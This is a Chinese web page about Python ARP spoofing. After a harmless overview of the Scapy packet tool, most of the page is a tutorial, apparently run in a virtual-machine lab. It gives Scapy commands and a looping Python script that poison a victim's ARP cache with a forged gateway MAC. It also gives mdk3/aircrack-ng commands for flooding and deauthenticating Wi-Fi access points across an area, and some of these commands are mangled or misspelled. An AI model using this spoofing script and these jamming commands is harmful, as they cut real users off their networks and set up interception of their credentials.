当前位置:首页 » 编程语言 » pythonarp欺骗

pythonarp欺骗

发布时间: 2025-03-29 06:04:50

‘壹’ 网络工程师的python之路---Scapy基础篇

本文是关于 Scapy 工具的基础介绍与应用指南。Scapy 是一个使用 Python 编写的交互式包处理程序,用户可以利用它发送、嗅探、解析和伪造网络报文,用于网络探测、扫描和攻击。它能够处理多种网络协议,并支持创建工具进行网络分析、安全测试和研究。


Scapy 官方定义强调了它的强大功能,能够构造网络攻击脚本,如 SYN flooding、ARP 欺骗、DHCP 饥饿攻击、DHCP rogue server 攻击等。本篇分为基础篇和应用篇,基础篇将详细介绍 Scapy 的基本应用,而应用篇将提供进一步的示例和实验。


实验环境与拓扑与之前的初级篇相同,包括使用 Windows 8.1 虚拟机上的 CentOS 7 系统、GNS3 中的思科三层交换机,以及特定的 IP 地址段和运行环境。实验将指导读者安装 Scapy,通过命令进行交互操作,如构造和发送 IP、ARP 报文,以及使用 Scapy 的高级功能如 sr、srp 等。


实验内容覆盖从基本的 IP 报文构造和发送,到 ARP、ICMP、TCP 等网络协议的交互,以及如何使用 Scapy 进行网络嗅探和调试。实验将逐步引导读者理解 Scapy 的使用方式,从构造简单的网络报文到更复杂的网络攻击模拟。


实验包括但不限于:



  • 使用 Scapy 构造并发送 IP 报文至指定目标。

  • 使用 Scapy 的 sendp() 函数构造并发送二层报文,如 ARP 报文。

  • 使用 Scapy 的 sr() 函数发送 ICMP 包并接收返回的响应。

  • 使用 Scapy 的 srp() 函数接收返回的二层报文。

  • 理解 TCP 报文的构造,以及如何使用 RandShort()、RandNum() 和 Fuzz() 函数生成随机端口号。


通过这些实验,读者将获得 Scapy 的实战经验,了解如何利用它进行网络分析和安全测试。实验 1 至实验 5 分别深入探讨了基础的网络报文构造与发送、ARP 报文的构造与接收、ICMP 报文的交互、二层报文的交互以及 TCP 报文的构造与随机端口号的生成。


这些实验提供了一个全面的 Scapy 学习路径,从基础操作到高级应用,帮助读者逐步掌握 Scapy 的强大功能。通过实践,读者不仅能够理解 Scapy 的使用方法,还能够深入了解网络协议的工作原理,为网络安全测试和研究打下坚实的基础。

‘贰’ 如何在路由器上屏蔽部分网址局部网络屏蔽

如何在路由器上屏蔽部分网址(局部网络屏蔽)
有线网络屏蔽
ARP官方释意:地址解析协议,即ARP(AddressResolutionProtocol),是根据获取的一个。发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址(MAC);收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
实验环境:
Linuxparrot(攻击系统)
Linuxcentos(被攻击系统)
实验语言:python
Arp协议是网络不可缺少的一部分,由于arp协议存在一些不可修复的漏洞所以骇客也经常利用这个漏洞进行局域网攻击。攻击大致分为两种。(1)纯粹的网络攻击,迫使受害者无法使用网络(2)目的性攻击,arp欺骗获取局域网使用者的信息,盗取账号密码等敏感信息。
笔者的电脑是接入寝室网络的,本来想使用真实电脑作为攻击目标,鉴于室友正在使用,转移到虚拟机进行实验。
搭建实验环境
Linuxparrot(攻击系统)
Linuxcentos(被攻击系统)
我们可以看到终端显示的信息(网关一般是默认的)
攻击系统IP:192.168.163.146MAC:00:0c:29:41:75:aa
被攻击者IP:192.168.163.150MAC:00:0c:29:0b:09:89
网络测试依次使用两台机器ping网络显示信息如下
此信息说明可以连接外网,证明目前可以上网
使用攻击系统扫描本网段的信息,使用到的工具fping
扫描到目标IP使用arp-a命令确认一下信息如下:
确认无误,我的局域网中网关以2结尾,所以我们展开192.168.163.2和192.
168.163.150之间的攻击。
使用python的scapy模块,编写对应的ARP包进行发送,由于scapy有独立的交互模式,我们就直接在终端中进行编程。注意这里要进入root权限
核心源代码如下:
>>>a=ARP()
>>>a.show()
###[ARP]###
hwtype=0x1
ptype=IPv4
hwlen=None
plen=None
op=who-has
hwsrc=00:0c:29:41:75:aa
psrc=192.168.163.146
hwdst=00:00:00:00:00:00
pdst=0.0.0.0
>>>a.psrc='192.168.163.2'
>>>a.pdst='192.168.163.150'
>>>send(a,loop=1)
正在攻击目标
验证:
Ping网络没有反应,网关mac地址也被修改为攻击机的MAC地址
Python代码:
fromscapy.allimport*
importtime
importrandom
pdst=str(input("目标IP:"))
gw=str(input("网关IP:"))
a=ARP()
a.pdst=pdst
a.psrc=gw
a.hwsrc='b4:1e:89:20:43:A1'
while1:
send(a,loop=0)
time.sleep(random.uniform(10,5))
无线网络屏蔽
无线网络攻击相对上面的操作更加简单,纯工具攻击方案。首先需要一个攻击系统,我选用parrotsecurity系统,因为这个系统整合的工具比较全,现对于kali来说虽然没有什么较大的优势但是他的UI界面做的相当的好。
插入无线网卡
可以看到无线网卡被命名为了wlan0(因为一般都是这样命名的),使用airmon-ng将无线网专为mon模式,在这之前最好把网卡mac地址改变一下(我也不知道有什么用总之这样改感觉谨慎一些):
ifconfigwlan0down
Macchanger-mMACwlan0
ifconfgwlan0up
airmon-ngstartwlan0
接下来就可以使用wlan0mon进行无线网的查看了,记住名字已经变成wlan0mon了
使用airomp-ngwlan0mon或者wifete
打开就立刻扫到这两个wifi,实验目标是ruijie(传说中的我打我自己,吐槽一下锐捷客户端,不能开wifi就算了连虚拟机都不能用,让计算机专业的学生怎么搭建环境,虽然我不是计算机专业)。
直接开始攻击mdk3wlan0mona-iMAC-s速率
从连接状况可以看出来有大量的mac地址请求建立连接,当然我的手机已经没网了,大概就是0-20秒网络变的卡顿,之后完全失去网络通讯,当然这只是一个AP的攻击想要实现一定范围的网络中断其实也就是一个命令的事。mdk3wlan0mond-w白名单AP的mac-b黑名单AP的mac-c信道。回车键敲下去后果可想而知,网卡可能会坏掉哈哈…
这两种攻击方式有点不一样,第一个是洪水攻击利用大量的伪造mac迫使AP无法正常提供服务,第二种是直接进行解除认证。
Aircrack-ng套装是专门针对无线的一套工具,mdk3是专用的攻击工具,除了上面的案例还有许多可研究的使用方法。
总结:
两种比较常见的局域网攻击手段,单个拿出来看似确实没什么,但是两个组合在一起完全可以制造一个网络屏蔽空间,对目标造成一定的危害,虽然是局域网,但也请不要随意对他人使用,具体的防御方法在其他的文章中也有讲述,ARP攻防那篇文章有讲到如何预防ARP攻击,无线攻击预防方案只能在路由中进行设置,有些到目前为止都还没找到合适的防御方案。

热点内容
加拿大28预测99算法 发布:2025-03-31 23:08:46 浏览:243
赚钱了脚本 发布:2025-03-31 23:08:02 浏览:983
html5php源码 发布:2025-03-31 23:04:29 浏览:542
腾讯哪个游戏配置低点 发布:2025-03-31 23:02:16 浏览:431
androidsdk最新版下载 发布:2025-03-31 22:54:03 浏览:209
db2实例数据库 发布:2025-03-31 22:44:53 浏览:246
c语言的rand 发布:2025-03-31 22:35:43 浏览:723
python3下载教程 发布:2025-03-31 22:17:43 浏览:98
得物java 发布:2025-03-31 22:17:36 浏览:500
支票密码器是什么意思 发布:2025-03-31 22:11:12 浏览:11